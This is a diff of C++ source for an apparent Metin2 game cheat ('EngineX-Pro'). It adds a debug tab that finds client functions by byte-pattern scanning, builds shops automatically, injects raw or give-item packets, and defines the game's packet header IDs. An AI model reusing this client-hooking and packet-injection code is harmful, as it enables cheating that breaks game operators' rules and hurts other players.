{ + + } + + void OnStop() + { + } + + + + void OnUpdate() + { + + } + + void OnRender() + { + } + + + void Rozdzielacz(int vnum) + { + + } + + string whisperTextName = string(500, '\0'); + string whisperTextMessage = string(500, '\0'); + + string ShopName = ""; + int whitePearlPrice = 10000000; + int bluePearlPrice = 1500000; + int yabbaPrice = 2500000; + bool whitePearlAdd = true; + bool bluePearlAdd = true; + bool yabbaAdd = true; + + void BuildShop() + { + typedef DWORD(__thiscall* GetItemCount)(void* This, TItemPos Cell); + GetItemCount ItemCount = (GetItemCount)PatternScan::FindPatternGlobal("55 8B EC 83 EC 08 89 4D F8 8D 4D 08 E8 ? ? ? ? 0F B6 C0 85 C0 75 04 33 C0 EB 31", Globals::hEntryBaseAddress, Globals::hEntryBaseSize); //0xEFB70 + + DWORD Instance = *reinterpret_cast(PatternScan::FindPatternGlobal("55 8B EC 83 EC 1C 8D 45 FB", Globals::hEntryBaseAddress, Globals::hEntryBaseSize) + 0x103); //Globals::hEntryBaseAddress + 0x201F3AC + DWORD iCPythonShopInstance = *reinterpret_cast(Instance); + + typedef void(__thiscall* AddPrivateShopItemStock)(void* This, TItemPos Cell, BYTE dwDisplayPos, DWORD dwPrice, BYTE checkque); + AddPrivateShopItemStock AddItemStock = (AddPrivateShopItemStock)(PatternScan::FindPatternGlobal("55 8B EC 81 EC 94 01 00 00 56", Globals::hEntryBaseAddress, Globals::hEntryBaseSize));//Globals::hEntryBaseAddress + 0x1ACFC0 + + typedef void(__thiscall* BuildPrivateShop)(void* This, const char* c_szName); + BuildPrivateShop BuildShop = (BuildPrivateShop)(PatternScan::FindPatternGlobal("55 8B EC 6A FF 68 ? ? ? ? 64 A1 00 00 00 00 50 81 EC 18 01 00 00 A1 ? ? ? ? 33 C5 50 8D 45 F4 64 A3 00 00 00 00 89 8D DC FE FF FF 8D 4D DC", Globals::hEntryBaseAddress, Globals::hEntryBaseSize));//Globals::hEntryBaseAddress + 0x1AD420 + + int shopIndex = 0; + if (whitePearlAdd) + { + vector whiteSlot = GameFunctionsCustom::FindItemSlotsInInventory(27992); + for (auto slot : whiteSlot) + { + if (ItemCount((void*)(Globals::iCPythonPlayerInstance + 4), TItemPos(INVENTORY, slot)) == 1) + { + AddItemStock((void*)iCPythonShopInstance, TItemPos(INVENTORY, slot), shopIndex, whitePearlPrice, 0); + shopIndex++; + } + } + } + if (bluePearlAdd) + { + vector whiteSlot = GameFunctionsCustom::FindItemSlotsInInventory(27993); + for (auto slot : whiteSlot) + { + if (ItemCount((void*)(Globals::iCPythonPlayerInstance + 4), TItemPos(INVENTORY, slot)) == 1) + { + AddItemStock((void*)iCPythonShopInstance, TItemPos(INVENTORY, slot), shopIndex, bluePearlPrice, 0); + shopIndex++; + } + } + } + if (yabbaAdd) + { + vector yabbaSlot = GameFunctionsCustom::FindItemSlotsInInventory(27887); + for (auto slot : yabbaSlot) + { + if (ItemCount((void*)(Globals::iCPythonPlayerInstance + 4), TItemPos(INVENTORY, slot)) == 1) + { + AddItemStock((void*)iCPythonShopInstance, TItemPos(INVENTORY, slot), shopIndex, yabbaPrice, 0); + shopIndex++; + } + } + } + BuildShop((void*)iCPythonShopInstance, ShopName.c_str()); + } + DirectTexture LoadTextureFromFile(const char* filename) + { + // Load texture from disk + DirectTexture texture; + HRESULT hr = D3DXCreateTextureFromFileA(Device::pDevice, filename, &texture); + if (hr != S_OK) + return false; + + // Retrieve description of the texture surface so we can access its size + D3DSURFACE_DESC my_image_desc; + texture->GetLevelDesc(0, &my_image_desc); + + return texture; + + + } + void OnTab1() + { + ImGui::PushStyleVar(ImGuiStyleVar_ChildRounding, 5.0f); + ImGui::SetNextWindowBgAlpha(0.75f); + ImGui::BeginChild("DebugBorder", ImVec2(ImGui::GetWindowWidth() - 10, ImGui::GetWindowHeight() - 10), true); + ImGui::Checkbox("Use Python", &Globals::UsePythonFunctions); + ImGui::InputText("Shop Name", &ShopName); + ImGui::Checkbox("Add WhitePearl", &whitePearlAdd); + ImGui::Checkbox("Add BluePearl", &bluePearlAdd); + ImGui::Checkbox("Add Yabba", &yabbaAdd); + ImGui::InputInt("WhitePearl Price", &whitePearlPrice); + ImGui::InputInt("BluePearl Price", &bluePearlPrice); + ImGui::InputInt("Yabba Price", &yabbaPrice); + if(ImGui::Button("Add Items to Shop")) + { + BuildShop(); + } + //ImGui::Text("GetItemCount:0x%x", (*(DWORD*)(GameFunctions::PlayerNEW_GetMainActorPtr() + 512)) - Globals::hEntryBaseAddress); + ImGui::Text("BaseAddress "); ImGui::SameLine(); + ImGui::Text(StringExtension::DWORDToHexString(Globals::hEntryBaseAddress).c_str()); + ImGui::Text("CPythonPlayerInstance "); ImGui::SameLine(); + ImGui::Text(StringExtension::DWORDToHexString(Globals::iCPythonPlayerInstance).c_str()); + ImGui::Text("CPythonCharacterManagerInstance "); ImGui::SameLine(); + ImGui::Text(StringExtension::DWORDToHexString(Globals::iCPythonCharacterManagerInstance).c_str()); + ImGui::Text("CPythonNetworkStreamInstance "); ImGui::SameLine(); + ImGui::Text(StringExtension::DWORDToHexString(Globals::iCPythonNetworkStreamInstance).c_str()); + ImGui::Text("CPythonItemInstance "); ImGui::SameLine(); + ImGui::Text(StringExtension::DWORDToHexString(Globals::iCPythonItemInstance).c_str()); + ImGui::Text("CItemManagerInstance "); ImGui::SameLine(); + ImGui::Text(StringExtension::DWORDToHexString(Globals::iCItemManagerInstance).c_str()); + ImGui::Text("CPythonApplicationInstance "); ImGui::SameLine(); + ImGui::Text(StringExtension::DWORDToHexString(Globals::iCPythonApplicationInstance).c_str()); + ImGui::Text("Inventory Eq Percent Usage "); ImGui::SameLine(); ImGui::Text(to_string(GameFunctionsCustom::InventoryEquippedPercentage()).c_str()); + ImGui::Text("ID First Slot Item "); ImGui::SameLine(); ImGui::Text(to_string(GameFunctions::PlayerGetItemIndex(TItemPos(INVENTORY, 0))).c_str()); + ImGui::Text("ID Weapon Slot Item "); ImGui::SameLine(); ImGui::Text(to_string(GameFunctions::PlayerGetItemIndex(TItemPos(EQUIPMENT, 4))).c_str()); + ImGui::InputText("Packet Hex", &packetHex[0], packetHex.size()); + if (ImGui::Button("Send Packet")) + { + GameFunctionsCustom::SendPacket(string(packetHex.c_str())); + } + if (ImGui::Button("TEST 1")) + { + cout << GameFunctionsCustom::PlayerIsRodEquipped() << endl; + } + if (ImGui::Button("TEST 2")) + { + GameFunctions::NetworkStreamSendGiveItemPacket(GameFunctions::PlayerGetTargetVID(), TItemPos(EQUIPMENT, 4), 0); + } + if (ImGui::Button("TEST 3")) + { + cout << GameFunctions::PlayerGetItemMetinSocket(TItemPos(INVENTORY, 0), 0) << endl; + } + if (ImGui::Button("TEST 4")) + { + GameFunctions::NetworkStreamSendGiveItemPacket(GameFunctions::PlayerGetTargetVID(), TItemPos(INVENTORY, 0), 0); + } + if (ImGui::Button("TEST 6")) + { + GameFunctions::NetworkStreamSendItemUsePacket(TItemPos(EQUIPMENT, 4)); + } + if (ImGui::Button("Reload Icon [Adrian ZJEB]")) + { + MainForm::ResourceMap["LogoHref"] = LoadTextureFromFile("c:\\Adi\\logo.png"); + MainForm::ResourceMap["Background"] = LoadTextureFromFile("c:\\Adi\\background2.png"); + MainForm::ResourceMap["WindowOn"] = LoadTextureFromFile("c:\\Adi\\window_on.png"); + MainForm::ResourceMap["WindowOff"] = LoadTextureFromFile("c:\\Adi\\window_off.png"); + MainForm::ResourceMap["RadarOn"] = LoadTextureFromFile("c:\\Adi\\radar_on.png"); + MainForm::ResourceMap["RadarOff"] = LoadTextureFromFile("c:\\Adi\\radar_off.png"); + MainForm::ResourceMap["AutologinOn"] = LoadTextureFromFile("c:\\Adi\\autologin_on.png"); + MainForm::ResourceMap["AutologinOff"] = LoadTextureFromFile("c:\\Adi\\autologin_off.png"); + MainForm::ResourceMap["FishbotOn"] = LoadTextureFromFile("c:\\Adi\\fishbot_on.png"); + MainForm::ResourceMap["FishbotOff"] = LoadTextureFromFile("c:\\Adi\\fishbot_off.png"); + MainForm::ResourceMap["MHOn"] = LoadTextureFromFile("c:\\Adi\\mh_on.png"); + MainForm::ResourceMap["MHOff"] = LoadTextureFromFile("c:\\Adi\\mh_off.png"); + MainForm::ResourceMap["ExitGameIcon"] = LoadTextureFromFile("c:\\Adi\\exit.png"); + MainForm::ResourceMap["ChannelChangerIcon"] = LoadTextureFromFile("c:\\Adi\\channel.png"); + MainForm::ResourceMap["LogOn"] = LoadTextureFromFile("c:\\Adi\\log_on.png"); + MainForm::ResourceMap["LogOff"] = LoadTextureFromFile("c:\\Adi\\log_off.png"); + MainForm::ResourceMap["PotionOff"] = LoadTextureFromFile("c:\\Adi\\Autopoty_OFF.png"); + MainForm::ResourceMap["PotionOn"] = LoadTextureFromFile("c:\\Adi\\Autopoty_ON.png"); + + MainForm::ResourceMap["MainTab"] = LoadTextureFromFile("c:\\Adi\\Main.png"); + MainForm::ResourceMap["FishbotTab"] = LoadTextureFromFile("c:\\Adi\\Fishbot.png"); + MainForm::ResourceMap["AdditionalTab"] = LoadTextureFromFile("c:\\Adi\\Additional.png"); + MainForm::ResourceMap["VisualsTab"] = LoadTextureFromFile("c:\\Adi\\Visuals.png"); + MainForm::ResourceMap["SettingsTab"] = LoadTextureFromFile("c:\\Adi\\Protection.png"); + MainForm::ResourceMap["DeveloperTab"] = LoadTextureFromFile("c:\\Adi\\Developer.png"); + } + if (ImGui::Button("TEST 8")) + { + + } + if (ImGui::Button("TEST 9")) + { + + } + ImGui::EndChild(); + ImGui::PopStyleVar(); + } + + void OnTabs() + { + MainForm::AddTab(70, "Debug"); + } + + void OnMenu() + { + switch (MainForm::CurTabOpen) + { + case 70: + OnTab1(); + break; + } + } + + void DebugMsgBoxNoBlocking(string message,...) + { + MessageBox(NULL, "Cheat Wrong Version", "Error", 0); + } +}; \ No newline at end of file diff --git a/EngineX-Pro/Defines.h b/EngineX-Pro/Defines.h new file mode 100644 index 0000000..2cd2b63 --- /dev/null +++ b/EngineX-Pro/Defines.h @@ -0,0 +1,1395 @@ +#pragma once +#define SET_NUMBERH(x) ( (BYTE)((DWORD)(x)>>(DWORD)8) ) +#define SET_NUMBERL(x) ( (BYTE)((DWORD)(x) & 0xFF) ) +#define SET_NUMBERHW(x) ( (WORD)((DWORD)(x)>>(DWORD)16) ) +#define SET_NUMBERLW(x) ( (WORD)((DWORD)(x) & 0xFFFF) ) +#define SET_NUMBERHDW(x) ( (DWORD)((unsigned __int64)(x)>>(DWORD)32) ) +#define SET_NUMBERLDW(x) ( (DWORD)((unsigned __int64)(x) & 0xFFFFFFFF) ) +#define MAKE_NUMBERW(x,y) ( (WORD)(((BYTE)((y)&0xFF)) | ((BYTE)((x)&0xFF)<<8 )) ) +#define MAKE_NUMBERQW(x,y) ( (unsigned __int64)(((DWORD)((y)&0xFFFFFFFF)) | ((DWORD)((x)&0xFFFFFFFF)<<32)) ) +#define MAKE_NUMBERDW(x,y) ( (DWORD)(((WORD)((y)&0xFFFF)) | ((WORD)((x)&0xFFFF)<<16)) ) +#define MAKEQWORD(a, b) ((__int64)(((DWORD)((__int64)(a) & 0xffffffff)) | ((__int64)((DWORD)((__int64)(b) & 0xffffffff))) << 32)) +#define LODWORD(h) ((DWORD)(__int64(h) & __int64(0xffffffff))) +#define HIDWORD(h) ((DWORD)(__int64(h) >> __int64(32))) + + +//NETWORK +#define LOGIN_MAX_LEN 26 +#define PASSWORD_MAX_LEN 32 +#define VERSION_MAX_LEN 32 + +#define AUTH_IP_ADDRESS "127.0.0.1" +#define AUTH_PORT 55900 +#define LOADER_VERSION "0.00.01"; +#define SERVER_NAME_MAX_LEN 12 + +enum +{ + INVALID_PASSWORD, + GRANTED, + INVALID_ACCOUNT, + ALREADY_CONNECTED, + SERVER_FULL, + ACCOUNT_BLOCKED, + INVALID_VERSION, + UNKNOWN_ERROR, + TOO_MUCH_TRIES, + NO_CHARGE_INFO, + SUBSCRIPTION_OVER, + IP_SUBSCRIPTION_OVER, + + CONNECTION_ERROR, + TOO_YOUNG, + MAINTENANCE +}; +//END NETWORK + +enum +{ + OBJECT_ALL = 1, + OBJECT_MOB = 2, + OBJECT_BOSS = 4, + OBJECT_PC = 8, + OBJECT_MINE = 16, + OBJECT_STONE = 32, + OBJECT_NPC = 64 +}; + + + +inline char* GetStr(DWORD offset) { + if (*(int*)(offset + 0x10) > 15) + return (char*)(*(DWORD*)offset); + else + return (char*)offset; +} + +typedef struct +{ + DWORD unk; + char name[24]; + DWORD m_dwBaseX; + DWORD m_dwBaseY; + DWORD m_dwSizeX; + DWORD m_dwSizeY; + DWORD m_dwEndX; + DWORD m_dwEndY; +} TMapInfoGlobal; + +typedef struct +{ + char name[24]; + DWORD m_dwBaseX; + DWORD m_dwBaseY; + DWORD m_dwSizeX; + DWORD m_dwSizeY; + DWORD m_dwEndX; + DWORD m_dwEndY; +} TMapInfo; + + + +enum +{ + FUNC_WAIT, + FUNC_MOVE, + FUNC_ATTACK, + FUNC_COMBO, + FUNC_MOB_SKILL, + FUNC_EMOTION, + FUNC_SKILL = 0x80, +}; + +enum +{ + DIR_UP, + DIR_DOWN, + DIR_LEFT, + DIR_RIGHT, +}; + + +enum Color +{ + RED, + GREEN, + BLUE, + WHITE, + BLACK +}; +enum Windows +{ + RESERVED_WINDOW, + INVENTORY, + EQUIPMENT, + SAFEBOX, + MALL, + DRAGON_SOUL_INVENTORY, + GROUND, + BELT_INVENTORY, + + WINDOW_TYPE_MAX, +}; +enum Directions +{ + LEFT, + RIGHT, + UP, + DOWN, + +}; + +enum +{ + MAIN_RACE_WARRIOR_M, + MAIN_RACE_ASSASSIN_W, + MAIN_RACE_SURA_M, + MAIN_RACE_SHAMAN_W, + MAIN_RACE_WARRIOR_W, + MAIN_RACE_ASSASSIN_M, + MAIN_RACE_SURA_W, + MAIN_RACE_SHAMAN_M, + MAIN_RACE_MAX_NUM, +}; +enum Type +{ + TYPE_ENEMY, + TYPE_NPC, + TYPE_STONE, + TYPE_WARP, + TYPE_DOOR, + TYPE_BUILDING, + TYPE_PC, + TYPE_POLY, + TYPE_HORSE, + TYPE_GOTO, + + TYPE_OBJECT, // Only For Client +}; +enum PointTypes +{ + POINT_NONE, // 0 + POINT_LEVEL, // 1 + POINT_VOICE, // 2 + POINT_EXP, // 3 + POINT_NEXT_EXP, // 4 + POINT_HP, // 5 + POINT_MAX_HP, // 6 + POINT_SP, // 7 + POINT_MAX_SP, // 8 + POINT_STAMINA, // 9 ½ºÅ×¹Ì³Ê + POINT_MAX_STAMINA, // 10 ÃÖ´ë ½ºÅ×¹Ì³Ê + + POINT_GOLD, // 11 + POINT_ST, // 12 ±Ù·Â + POINT_HT, // 13 ü·Â + POINT_DX, // 14 ¹Îø¼º + POINT_IQ, // 15 Á¤½Å·Â + POINT_ATT_POWER, // 16 °ø°Ý·Â + POINT_ATT_SPEED, // 17 °ø°Ý¼Óµµ + POINT_EVADE_RATE, // 18 ȸÇÇÀ² + POINT_MOV_SPEED, // 19 À̵¿¼Óµµ + POINT_DEF_GRADE, // 20 ¹æ¾îµî±Þ + POINT_CASTING_SPEED, // 21 ÁÖ¹®¼Óµµ (Äð´Ù¿îŸÀÓ*100) / (100 + ÀÌ°ª) = ÃÖÁ¾ Äð´Ù¿î ŸÀÓ + POINT_MAGIC_ATT_GRADE, // 22 ¸¶¹ý°ø°Ý·Â + POINT_MAGIC_DEF_GRADE, // 23 ¸¶¹ý¹æ¾î·Â + POINT_EMPIRE_POINT, // 24 Á¦±¹Á¡¼ö + POINT_LEVEL_STEP, // 25 ÇÑ ·¹º§¿¡¼­ÀÇ ´Ü°è.. (1 2 3 µÉ ¶§ º¸»ó, 4 µÇ¸é ·¹º§ ¾÷) + POINT_STAT, // 26 ´É·ÂÄ¡ ¿Ã¸± ¼ö ÀÖ´Â °³¼ö + POINT_SUB_SKILL, // 27 º¸Á¶ ½ºÅ³ Æ÷ÀÎÆ® + POINT_SKILL, // 28 ¾×Ƽºê ½ºÅ³ Æ÷ÀÎÆ® + + POINT_MIN_ATK, // 29 ÃÖ¼Ò Æı«·Â + POINT_MAX_ATK, // 30 ÃÖ´ë Æı«·Â + POINT_PLAYTIME, // 31 Ç÷¹À̽ð£ + POINT_HP_REGEN, // 32 HP ȸº¹·ü + POINT_SP_REGEN, // 33 SP ȸº¹·ü + + POINT_BOW_DISTANCE, // 34 È° »çÁ¤°Å¸® Áõ°¡Ä¡ (meter) + + POINT_HP_RECOVERY, // 35 ü·Â ȸº¹ Áõ°¡·® + POINT_SP_RECOVERY, // 36 Á¤½Å·Â ȸº¹ Áõ°¡·® + + POINT_POISON_PCT, // 37 µ¶ È®·ü + POINT_STUN_PCT, // 38 ±âÀý È®·ü + POINT_SLOW_PCT, // 39 ½½·Î¿ì È®·ü + POINT_CRITICAL_PCT, // 40 Å©¸®Æ¼Äà Ȯ·ü + POINT_PENETRATE_PCT, // 41 °üÅëŸ°Ý È®·ü + POINT_CURSE_PCT, // 42 ÀúÁÖ È®·ü + + POINT_ATTBONUS_HUMAN, // 43 Àΰ£¿¡°Ô °­ÇÔ + POINT_ATTBONUS_ANIMAL, // 44 µ¿¹°¿¡°Ô µ¥¹ÌÁö % Áõ°¡ + POINT_ATTBONUS_ORC, // 45 ¿õ±Í¿¡°Ô µ¥¹ÌÁö % Áõ°¡ + POINT_ATTBONUS_MILGYO, // 46 ¹Ð±³¿¡°Ô µ¥¹ÌÁö % Áõ°¡ + POINT_ATTBONUS_UNDEAD, // 47 ½Ãü¿¡°Ô µ¥¹ÌÁö % Áõ°¡ + POINT_ATTBONUS_DEVIL, // 48 ¸¶±Í(¾Ç¸¶)¿¡°Ô µ¥¹ÌÁö % Áõ°¡ + POINT_ATTBONUS_INSECT, // 49 ¹ú·¹Á· + POINT_ATTBONUS_FIRE, // 50 È­¿°Á· + POINT_ATTBONUS_ICE, // 51 ºù¼³Á· + POINT_ATTBONUS_DESERT, // 52 »ç¸·Á· + POINT_ATTBONUS_UNUSED0, // 53 UNUSED0 + POINT_ATTBONUS_UNUSED1, // 54 UNUSED1 + POINT_ATTBONUS_UNUSED2, // 55 UNUSED2 + POINT_ATTBONUS_UNUSED3, // 56 UNUSED3 + POINT_ATTBONUS_UNUSED4, // 57 UNUSED4 + POINT_ATTBONUS_UNUSED5, // 58 UNUSED5 + POINT_ATTBONUS_UNUSED6, // 59 UNUSED6 + POINT_ATTBONUS_UNUSED7, // 60 UNUSED7 + POINT_ATTBONUS_UNUSED8, // 61 UNUSED8 + POINT_ATTBONUS_UNUSED9, // 62 UNUSED9 + + POINT_STEAL_HP, // 63 »ý¸í·Â Èí¼ö + POINT_STEAL_SP, // 64 Á¤½Å·Â Èí¼ö + + POINT_MANA_BURN_PCT, // 65 ¸¶³ª ¹ø + + + + POINT_DAMAGE_SP_RECOVER, + + POINT_BLOCK, + POINT_DODGE, + + POINT_RESIST_SWORD, + POINT_RESIST_TWOHAND, + POINT_RESIST_DAGGER, + POINT_RESIST_BELL, + POINT_RESIST_FAN, + POINT_RESIST_BOW, + POINT_RESIST_FIRE, + POINT_RESIST_ELEC, + POINT_RESIST_MAGIC, + POINT_RESIST_WIND, + POINT_REFLECT_MELEE, + POINT_REFLECT_CURSE, + POINT_POISON_REDUCE, + POINT_KILL_SP_RECOVER, + POINT_EXP_DOUBLE_BONUS, + POINT_GOLD_DOUBLE_BONUS, + POINT_ITEM_DROP_BONUS, + POINT_POTION_BONUS, + POINT_KILL_HP_RECOVER, + POINT_IMMUNE_STUN, + POINT_IMMUNE_SLOW, + POINT_IMMUNE_FALL, + POINT_PARTY_ATT_GRADE, + POINT_PARTY_DEF_GRADE, + POINT_ATT_BONUS, + POINT_DEF_BONUS, + POINT_ATT_GRADE_BONUS, + POINT_DEF_GRADE_BONUS, + POINT_MAGIC_ATT_GRADE_BONUS, + POINT_MAGIC_DEF_GRADE_BONUS, + POINT_RESIST_NORMAL_DAMAGE, + POINT_STAT_RESET_COUNT = 112, + POINT_HORSE_SKILL = 113, + POINT_MALL_ATTBONUS, + POINT_MALL_DEFBONUS, + POINT_MALL_EXPBONUS, + POINT_MALL_ITEMBONUS, + POINT_MALL_GOLDBONUS, + POINT_MAX_HP_PCT, + POINT_MAX_SP_PCT, + + POINT_SKILL_DAMAGE_BONUS, + POINT_NORMAL_HIT_DAMAGE_BONUS, + POINT_SKILL_DEFEND_BONUS, + POINT_NORMAL_HIT_DEFEND_BONUS, + POINT_PC_BANG_EXP_BONUS, + POINT_PC_BANG_DROP_BONUS, + POINT_ENERGY = 128, + POINT_ENERGY_END_TIME = 129, + POINT_MIN_WEP = 200, + POINT_MAX_WEP, + POINT_MIN_MAGIC_WEP, + POINT_MAX_MAGIC_WEP, + POINT_HIT_RATE +}; +enum ChatType +{ + CHAT_TYPE_TALKING, + CHAT_TYPE_INFO, + CHAT_TYPE_NOTICE, + CHAT_TYPE_PARTY, + CHAT_TYPE_GUILD, + CHAT_TYPE_COMMAND, + CHAT_TYPE_SHOUT, + CHAT_TYPE_WHISPER, + CHAT_TYPE_BIG_NOTICE, + CHAT_TYPE_MAX_NUM, +}; + +enum ClientToServer +{ + HEADER_CG_LOGIN = 1, + HEADER_CG_ATTACK = 2, + HEADER_CG_CHAT = 3, + HEADER_CG_PLAYER_CREATE = 4, + HEADER_CG_PLAYER_DESTROY = 5, + HEADER_CG_PLAYER_SELECT = 6, + HEADER_CG_CHARACTER_MOVE = 7, + HEADER_CG_SYNC_POSITION = 8, + HEADER_CG_DIRECT_ENTER = 9, + HEADER_CG_ENTERGAME = 10, + HEADER_CG_ITEM_USE = 11, + HEADER_CG_ITEM_DROP = 12, + HEADER_CG_ITEM_MOVE = 13, + HEADER_CG_ITEM_PICKUP = 15, + HEADER_CG_QUICKSLOT_ADD = 16, + HEADER_CG_QUICKSLOT_DEL = 17, + HEADER_CG_QUICKSLOT_SWAP = 18, + HEADER_CG_WHISPER = 19, + HEADER_CG_ITEM_DROP2 = 20, + HEADER_CG_ON_CLICK = 26, + HEADER_CG_EXCHANGE = 27, + HEADER_CG_CHARACTER_POSITION = 28, + HEADER_CG_SCRIPT_ANSWER = 29, + HEADER_CG_QUEST_INPUT_STRING = 30, + HEADER_CG_QUEST_CONFIRM = 31, + HEADER_CG_PVP = 41, + HEADER_CG_SHOP = 50, + HEADER_CG_FLY_TARGETING = 51, + HEADER_CG_USE_SKILL = 52, + HEADER_CG_ADD_FLY_TARGETING = 53, + HEADER_CG_SHOOT = 54, + HEADER_CG_MYSHOP = 55, + HEADER_CG_ITEM_USE_TO_ITEM = 60, + HEADER_CG_TARGET = 61, + HEADER_CG_WARP = 65, + HEADER_CG_SCRIPT_BUTTON = 66, + HEADER_CG_MESSENGER = 67, + HEADER_CG_MALL_CHECKOUT = 69, + HEADER_CG_SAFEBOX_CHECKIN = 70, + HEADER_CG_SAFEBOX_CHECKOUT = 71, + HEADER_CG_PARTY_INVITE = 72, + HEADER_CG_PARTY_INVITE_ANSWER = 73, + HEADER_CG_PARTY_REMOVE = 74, + HEADER_CG_PARTY_SET_STATE = 75, + HEADER_CG_PARTY_USE_SKILL = 76, + HEADER_CG_SAFEBOX_ITEM_MOVE = 77, + HEADER_CG_PARTY_PARAMETER = 78, + HEADER_CG_GUILD = 80, + HEADER_CG_ANSWER_MAKE_GUILD = 81, + HEADER_CG_FISHING = 82, + HEADER_CG_GIVE_ITEM = 83, + HEADER_CG_EMPIRE = 90, + HEADER_CG_REFINE = 96, + HEADER_CG_MARK_LOGIN = 100, + HEADER_CG_MARK_CRCLIST = 101, + HEADER_CG_MARK_UPLOAD = 102, + HEADER_CG_MARK_IDXLIST = 104, + HEADER_CG_CRC_REPORT = 103, + HEADER_CG_HACK = 105, + HEADER_CG_CHANGE_NAME = 106, + HEADER_CG_SMS = 107, + HEADER_CG_CHINA_MATRIX_CARD = 108, + HEADER_CG_LOGIN2 = 109, + HEADER_CG_DUNGEON = 110, + HEADER_CG_LOGIN3 = 111, + HEADER_CG_GUILD_SYMBOL_UPLOAD = 112, + HEADER_CG_GUILD_SYMBOL_CRC = 113, + HEADER_CG_SCRIPT_SELECT_ITEM = 114, + HEADER_CG_LOGIN4 = 115, + HEADER_CG_LOGIN5_OPENID = 116, + HEADER_CG_RUNUP_MATRIX_ANSWER = 201, + HEADER_CG_NEWCIBN_PASSPOD_ANSWER = 202, + HEADER_CG_HS_ACK = 203, + HEADER_CG_XTRAP_ACK = 204, + HEADER_CG_DRAGON_SOUL_REFINE = 205, + HEADER_CG_STATE_CHECKER = 206, + HEADER_CG_KEY_AGREEMENT = 0xfb, + HEADER_CG_TIME_SYNC = 0xfc, + HEADER_CG_CLIENT_VERSION = 0xfd, + HEADER_CG_CLIENT_VERSION2 = 0xf1, + HEADER_CG_PONG = 0xfe, + HEADER_CG_HANDSHAKE = 0xff, +}; +enum ServerToClient +{ + HEADER_GC_CHARACTER_ADD = 1, + HEADER_GC_CHARACTER_DEL = 2, + HEADER_GC_CHARACTER_MOVE = 3, + HEADER_GC_CHAT = 4, + HEADER_GC_SYNC_POSITION = 5, + HEADER_GC_LOGIN_SUCCESS3 = 6, + HEADER_GC_LOGIN_FAILURE = 7, + HEADER_GC_PLAYER_CREATE_SUCCESS = 8, + HEADER_GC_PLAYER_CREATE_FAILURE = 9, + HEADER_GC_PLAYER_DELETE_SUCCESS = 10, + HEADER_GC_PLAYER_DELETE_WRONG_SOCIAL_ID = 11, + HEADER_GC_STUN = 13, + HEADER_GC_DEAD = 14, + HEADER_GC_MAIN_CHARACTER = 15, + HEADER_GC_PLAYER_POINTS = 16, + HEADER_GC_PLAYER_POINT_CHANGE = 17, + HEADER_GC_CHANGE_SPEED = 18, + HEADER_GC_CHARACTER_UPDATE = 19, + HEADER_GC_ITEM_SET = 20, + HEADER_GC_ITEM_SET2 = 21, + HEADER_GC_ITEM_USE = 22, + HEADER_GC_ITEM_DROP = 23, + HEADER_GC_ITEM_UPDATE = 25, + HEADER_GC_ITEM_GROUND_ADD = 26, + HEADER_GC_ITEM_GROUND_DEL = 27, + HEADER_GC_QUICKSLOT_ADD = 28, + HEADER_GC_QUICKSLOT_DEL = 29, + HEADER_GC_QUICKSLOT_SWAP = 30, + HEADER_GC_ITEM_OWNERSHIP = 31, + HEADER_GC_LOGIN_SUCCESS4 = 32, + HEADER_GC_ITEM_UNBIND_TIME = 33, + HEADER_GC_WHISPER = 34, + HEADER_GC_ALERT = 35, + HEADER_GC_MOTION = 36, + HEADER_GC_SHOP = 38, + HEADER_GC_SHOP_SIGN = 39, + HEADER_GC_DUEL_START = 40, + HEADER_GC_PVP = 41, + HEADER_GC_EXCHANGE = 42, + HEADER_GC_CHARACTER_POSITION = 43, + HEADER_GC_PING = 44, + HEADER_GC_SCRIPT = 45, + HEADER_GC_QUEST_CONFIRM = 46, + HEADER_GC_MOUNT = 61, + HEADER_GC_OWNERSHIP = 62, + HEADER_GC_TARGET = 63, + HEADER_GC_WARP = 65, + HEADER_GC_ADD_FLY_TARGETING = 69, + HEADER_GC_CREATE_FLY = 70, + HEADER_GC_FLY_TARGETING = 71, + HEADER_GC_SKILL_LEVEL = 72, + HEADER_GC_SKILL_COOLTIME_END = 73, + HEADER_GC_MESSENGER = 74, + HEADER_GC_GUILD = 75, + HEADER_GC_SKILL_LEVEL_NEW = 76, + HEADER_GC_PARTY_INVITE = 77, + HEADER_GC_PARTY_ADD = 78, + HEADER_GC_PARTY_UPDATE = 79, + HEADER_GC_PARTY_REMOVE = 80, + HEADER_GC_QUEST_INFO = 81, + HEADER_GC_REQUEST_MAKE_GUILD = 82, + HEADER_GC_PARTY_PARAMETER = 83, + HEADER_GC_SAFEBOX_MONEY_CHANGE = 84, + HEADER_GC_SAFEBOX_SET = 85, + HEADER_GC_SAFEBOX_DEL = 86, + HEADER_GC_SAFEBOX_WRONG_PASSWORD = 87, + HEADER_GC_SAFEBOX_SIZE = 88, + HEADER_GC_FISHING = 89, + HEADER_GC_EMPIRE = 90, + HEADER_GC_PARTY_LINK = 91, + HEADER_GC_PARTY_UNLINK = 92, + HEADER_GC_REFINE_INFORMATION = 95, + HEADER_GC_OBSERVER_ADD = 96, + HEADER_GC_OBSERVER_REMOVE = 97, + HEADER_GC_OBSERVER_MOVE = 98, + HEADER_GC_VIEW_EQUIP = 99, + HEADER_GC_MARK_BLOCK = 100, + HEADER_GC_MARK_DIFF_DATA = 101, + HEADER_GC_MARK_IDXLIST = 102, + HEADER_GC_TIME = 106, + HEADER_GC_CHANGE_NAME = 107, + HEADER_GC_DUNGEON = 110, + HEADER_GC_WALK_MODE = 111, + HEADER_GC_CHANGE_SKILL_GROUP = 112, + HEADER_GC_MAIN_CHARACTER2_EMPIRE = 113, + HEADER_GC_SEPCIAL_EFFECT = 114, + HEADER_GC_NPC_POSITION = 115, + HEADER_GC_CHINA_MATRIX_CARD = 116, + HEADER_GC_CHARACTER_UPDATE2 = 117, + HEADER_GC_LOGIN_KEY = 118, + HEADER_GC_REFINE_INFORMATION_NEW = 119, + HEADER_GC_CHARACTER_ADD2 = 120, + HEADER_GC_CHANNEL = 121, + HEADER_GC_MALL_OPEN = 122, + HEADER_GC_TARGET_UPDATE = 123, + HEADER_GC_TARGET_DELETE = 124, + HEADER_GC_TARGET_CREATE_NEW = 125, + HEADER_GC_AFFECT_ADD = 126, + HEADER_GC_AFFECT_REMOVE = 127, + HEADER_GC_MALL_SET = 128, + HEADER_GC_MALL_DEL = 129, + HEADER_GC_LAND_LIST = 130, + HEADER_GC_LOVER_INFO = 131, + HEADER_GC_LOVE_POINT_UPDATE = 132, + HEADER_GC_GUILD_SYMBOL_DATA = 133, + HEADER_GC_DIG_MOTION = 134, + HEADER_GC_DAMAGE_INFO = 135, + 